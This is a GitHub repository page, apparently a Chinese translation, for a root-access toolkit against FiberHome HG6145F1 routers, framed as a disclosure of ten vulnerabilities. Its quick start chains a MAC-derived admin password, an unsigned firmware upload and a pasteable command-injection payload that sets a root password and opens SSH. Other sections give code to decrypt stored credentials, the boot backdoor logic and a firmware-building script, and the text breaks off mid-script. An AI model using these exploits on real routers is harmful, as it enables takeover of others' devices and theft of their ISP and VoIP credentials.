MrSmiiith/hg6145f1-full-access
GitHub: MrSmiiith/hg6145f1-full-access
针对FiberHome HG6145F1光猫的完整漏洞利用工具包,包含10个CVE级漏洞披露、root shell获取方法及自定义WebUI。
Stars: 2 | Forks: 0
# FiberHome HG6145F1 — 完全访问权限与自定义 WebUI
**作者 [Smothy](https://merzougrayane.com/) — [Numb Team](https://numbhub.com/)**
针对 FiberHome HG6145F1(阿尔及利亚电信 RP4423 固件)的完全管理员访问权限、Root Shell 以及自定义深色 WebUI。
  
## CVE 提交
以下漏洞已被发现并提交以申请 CVE 分配:
| # | 漏洞 | 类型 | CVSS | 状态 |
|---|--------------|------|------|--------|
| 1 | 可预测的管理员密码 (MAC 转 MD5) | 弱凭据生成 | 8.8 High | 已提交 |
| 2 | 通过 `triger_speedtest` 命令注入实现 RCE | 命令注入 | 9.8 Critical | 已提交 |
| 3 | 硬编码 AES 密钥 (`ABCDEFGHIJKLMNOP`) | 硬编码加密密钥 | 7.5 High | 已提交 |
| 4 | 未签名固件上传 | 不当完整性校验 | 8.8 High | 已提交 |
| 5 | 未认证信息泄露 | 信息泄露 | 5.3 Medium | 已提交 |
| 6 | XOR 配置文件“加密” | 弱加密 | 7.5 High | 已提交 |
| 7 | 启动过程制造商后门 | 隐藏认证 | 9.0 Critical | 已提交 |
| 8 | 明文凭据传输 | 缺少加密 | 6.5 Medium | 已提交 |
| 9 | 无 CSRF 防护 | 跨站请求伪造 | 6.5 Medium | 已提交 |
| 10 | 所有服务以 Root 运行 | 不当权限管理 | 7.0 High | 已提交 |
## 快速开始
### 步骤 1 — 获取管理员密码
```
python3 passgen.py
# 输入路由器的 MAC 地址(来自底部贴纸)
# Username: admin
```
### 步骤 2 — 上传自定义固件
1. 使用生成的密码登录 `http://192.168.1.1`
2. 前往 **管理 > 设备管理 > 本地升级**
3. 上传 `custom-webui.bin` 并点击 **更新文件**
4. 等待 **“文件升级失败”** 消息 — 这是预期结果
5. 刷新页面 — 自定义 UI 现已激活
### 步骤 3 — 启用 SSH
上传固件后,在路由器页面打开浏览器控制台 (F12) 并粘贴:
```
var x=new XMLHttpRequest();x.open('GET','/cgi-bin/ajax?ajaxmethod=get_refresh_sessionid',false);x.send();var s=JSON.parse(x.responseText).sessionid;var x2=new XMLHttpRequest();x2.open('POST','/cgi-bin/ajax',false);x2.setRequestHeader('Content-type','application/x-www-form-urlencoded');x2.send('ajaxmethod=triger_speedtest&url=;/fhrom/bin/dropbearkey -t rsa -f /tmp/dbrsa;echo root:root123|chpasswd;/fhrom/bin/dropbear -p 2222 -r /tmp/dbrsa&sessionid='+s);console.log(x2.responseText);
```
然后通过 SSH 连接:
```
ssh -p 2222 root@192.168.1.1
# Password: root123
```
## 你将获得
- **自定义深色 WebUI**,带有蓝色点缀
- **完全管理员访问权限**,解锁所有隐藏菜单
- **Root SSH shell**,端口 2222
- **RCE**,通过 `triger_speedtest` 命令注入
- 解锁的功能:
- 自定义 DNS 设置
- PPPoE / VoIP 密码获取
- SSID 隔离
- 动态 DNS (DDNS)
- QoS 设置
- 家长控制
- DLNA / Samba / NAT / ALG
- 系统日志查看器
- 端口映射 / DMZ / UPNP
## 漏洞详情
### CVE-1:可预测的管理员密码
管理员密码是使用 MD5 和静态盐值(`AEJLY`)从路由器的 MAC 地址派生而来的。任何知道 MAC 地址的人(在设备贴纸或通过 Web 界面可见)都可以生成管理员密码。
```
md5 = hashlib.md5(mac.encode() + b"AEJLY").hexdigest()
# 使用字符映射从前 20 个十六进制字符派生的密码
```
### CVE-2:通过命令注入实现 RCE
`triger_speedtest` CGI 方法直接将用户输入传递给 `system()`:
```
snprintf(cmd, 0x100, "/fhrom/bin/speedtest %s &", url_param);
system(cmd);
```
利用方式:`url=;COMMAND` 以 root 身份执行任意命令。
**注意:**
- Nginx WAF 阻止 POST body 中的 `>` — 请使用 `wget` 或 `tee` 代替重定向
- `system()` 总是返回 `{"ret":0}`
- 需要 Session ID(通过 `get_refresh_sessionid` 获取)
### CVE-3:硬编码 AES 密钥
配置加密使用完全确定性、硬编码的 AES-128-ECB 密钥:
```
key = bytes(range(65, 81)) # "ABCDEFGHIJKLMNOP"
iv = bytes(range(48, 64)) # "0123456789:;<=>?"
```
所有“加密”的配置值(PPPoE 密码、VoIP 凭据)均可离线解密:
```
from Crypto.Cipher import AES
cipher = AES.new(bytes(range(65, 81)), AES.MODE_ECB)
plaintext = cipher.decrypt(bytes.fromhex("HEX_STRING")).rstrip(b'\x00')
```
### CVE-4:未签名固件上传
固件升级机制使用带有非标准初始值(0 而非 0xFFFFFFFF)的 CRC32 作为唯一的完整性检查。没有加密签名验证。任何具有管理员访问权限的攻击者都可以上传并执行任意 ARM 二进制文件。
**固件头部格式:**
- Magic:偏移量 `0x100` 处的 `~@$^*)+ATOS!#%&(`
- CRC32 (init=0) 位于偏移量 `0x166`
- Section size (ASCII) 位于偏移量 `0x220`
- Payload (ARM ELF binary) 位于偏移量 `0xE00`
### CVE-5:未认证信息泄露
CGI 端点 `/cgi-bin/ajax` 在未经认证的情况下暴露敏感设备信息:
```
GET /cgi-bin/ajax?ajaxmethod=get_base_info
```
返回:MAC 地址、GPON 序列号、硬件/软件版本、ONU 状态、LOID、CPU/内存使用率、光功率水平 — 所有这些均无需登录。MAC 泄露至关重要,因为管理员密码源自 MAC 地址,从而导致完全未经认证的管理员接管。
### CVE-6:XOR 配置文件“加密”
配置文件导出/导入使用无密钥的简单可逆 XOR 密码:
```
// libfhapi.so — fhapi_file_crypt_decrypt()
for (i = len - len/9527; i != 2*len - len/9527; i++)
output = getc(file) ^ (i + 9527);
```
包含 PPPoE 凭据、VoIP 密码和 WiFi 密钥的导出配置文件可被任何人离线解密。这与 AES 漏洞是分开的 — XOR 用于文件级加密,而 AES 用于单个凭据存储。
### CVE-7:启动过程制造商后门
启动脚本 `/fhrom/fhshell/initialize.sh` 包含一个制造商后门:
```
macaddr=$(uci get /fhdata/factory_conf.brmac.value | tr -d ":" | \
tr [a-z] [A-Z] | tr [0123456789ABCDEF] [FEDCBA9876543210])
macaddr=${macaddr:6:6}
read -n9 -t 2 passwd
passwd1=${passwd:0:3}
passwd_fh=$(echo -n $passwd1 | sha1sum | cut -d " " -f1)
if [ $passwd_fh == "ef431b3bb9e0f022134ebde6d2b87c66ca2c58d2" ]; then
if [ ${passwd:3:6} == $macaddr ]; then
echo "force exit!!"
exit 0 # drops to root shell
fi
fi
```
在 2 秒的启动窗口期内,通过串口控制台 (UART) 输入 9 个字符的密码 — 3 个字符匹配 SHA1 哈希 `ef431b3b...` + 6 个字符来自 MAC 转换 — 可绕过所有安全初始化并获得 root shell。SHA1 哈希可以轻易被暴力破解(3 个小写字母仅有 17,576 种组合)。
### CVE-8:明文凭据传输
Web 管理界面在 HTTP(端口 80)上运行,默认未启用 HTTPS。管理员凭据在客户端使用嵌入在 JavaScript 中的硬编码密钥(见 CVE-3)进行“加密”,无法防止网络嗅探。所有管理操作 — 密码更改、PPPoE 凭据查看、固件上传 — 均以明文传输。
### CVE-9:跨站请求伪造(无 CSRF 保护)
CGI 二进制文件使用轮换 Session ID(`get_refresh_sessionid`)进行 POST 授权,但这并非正规的 CSRF token — 它是可预测的,并且可以通过未经认证的 GET 请求获取。没有 Origin/Referer 验证。攻击者可以制作一个恶意页面,当已登录的管理员访问该页面时执行管理操作:
- 更改管理员/用户密码
- 修改 WiFi/DNS/WAN 设置
- 上传恶意固件
- 执行任意命令(通过 RCE)
- 重启设备
### CVE-10:所有服务以 Root 运行(无权限分离)
每个服务都以 uid=0 运行,没有权限分离:
- `nginx.conf`: `user root;`
- `thttpd.conf`: `user=root`
- CGI binary:所有 `system()` 调用均以 root 身份运行
- sysmgr, cfgmgr, dnsrelay, pppd — 全部为 root
- 不存在非 root 用户帐户
- 无 SELinux、AppArmor、seccomp 或 capabilities
任何服务中的任何漏洞都会立即授予整个系统的完全 root 访问权限。
## 技术细节
### 路由器架构
| 细节 | 值 |
|--------|-------|
| Kernel | Linux 4.19.183 armv7l |
| Chip | BCM6855X |
| Root | uid=0 |
| Web root | `/www/` (只读 UBIFS) |
| CGI binary | `/www/cgi-bin/ajax` (ARM ELF) |
| Config | `/fhconf/` (持久化,重启后保留) |
| SSH binary | `/fhrom/bin/dropbear` |
### CRC32 算法
标准 CRC32,**初始值为 0**(非标准):
```
def custom_crc32(data):
table = []
for i in range(256):
crc = i
for _ in range(8):
if crc & 1:
crc = (crc >> 1) ^ 0xEDB88320
else:
crc >>= 1
table.append(crc)
crc = 0 # init=0, not 0xFFFFFFFF
for byte in data:
crc = table[(byte ^ crc) & 0xFF] ^ (crc >> 8)
return crc & 0xFFFFFFFF
```
### 固件头部格式
```
Offset Size Description
0x000 16 Hardware version
0x010 16 Hardware version (compatible)
0x100 16 Magic: "~@$^*)+ATOS!#%&("
0x110 16 Hardware version (copy)
0x130 16 Software version
0x166 4 CRC32 of payload (LE, init=0)
0x170 16 Chip type (BCM6855X)
0x1F0 16 Section count (ASCII)
0x200 48 Section entry (name + size)
0xE00 ... Payload (ARM ELF binary)
```
### 配置文件加密 (XOR)
```
for (i = len - len/9527; i != 2*len - len/9527; i++)
output = getc(file) ^ (i + 9527);
```
## 从源码构建
### 要求
- `gcc-arm-linux-gnueabi` (ARM 交叉编译器)
- Python 3
### 构建
```
# 创建 webui 文件的 tar.gz
cd webui-files && tar czf ../payload.tar.gz . && cd ..
# 转换为 object file
arm-linux-gnueabi-objcopy -I binary -O elf32-littlearm -B arm \
payload.tar.gz payload.o
# 编译 ARM binary
arm-linux-gnueabi-gcc -static -Os -o patcher patcher.c payload.o
# 使用正确的 header + CRC 构建 .bin
python3 -c "
import struct
def crc32(d):
t=[0]*256
for i in range(256):
c=i
for _ in range(8): c=(c>>1)^0xEDB88320 if c&1 else c>>1
t[i]=c
c=0
for b in d: c=t[(b^c)&0xFF]^(c>>8)
return c&0xFFFFFFFF
h=bytearray(open('header_template.bin','rb').read())
p=open('patcher','rb').read()
h[0x220:0x230]=str(len(p)).encode().ljust(16,b'\x00')
struct.pack_into('
标签:CISA项目, Cutter, CVE, DNS 反向解析, FiberHome, HG6145F1, IoT安全, RCE, Root Shell, StruQ, WebUI, 光纤猫, 协议分析, 命令注入, 固件破解, 弱密码生成, 挖漏洞, 数字签名, 数据可视化, 权限提升, 硬编码密钥, 编程工具, 网络安全, 自定义脚本, 路由器漏洞, 远程代码执行, 阿尔及利亚电信, 隐私保护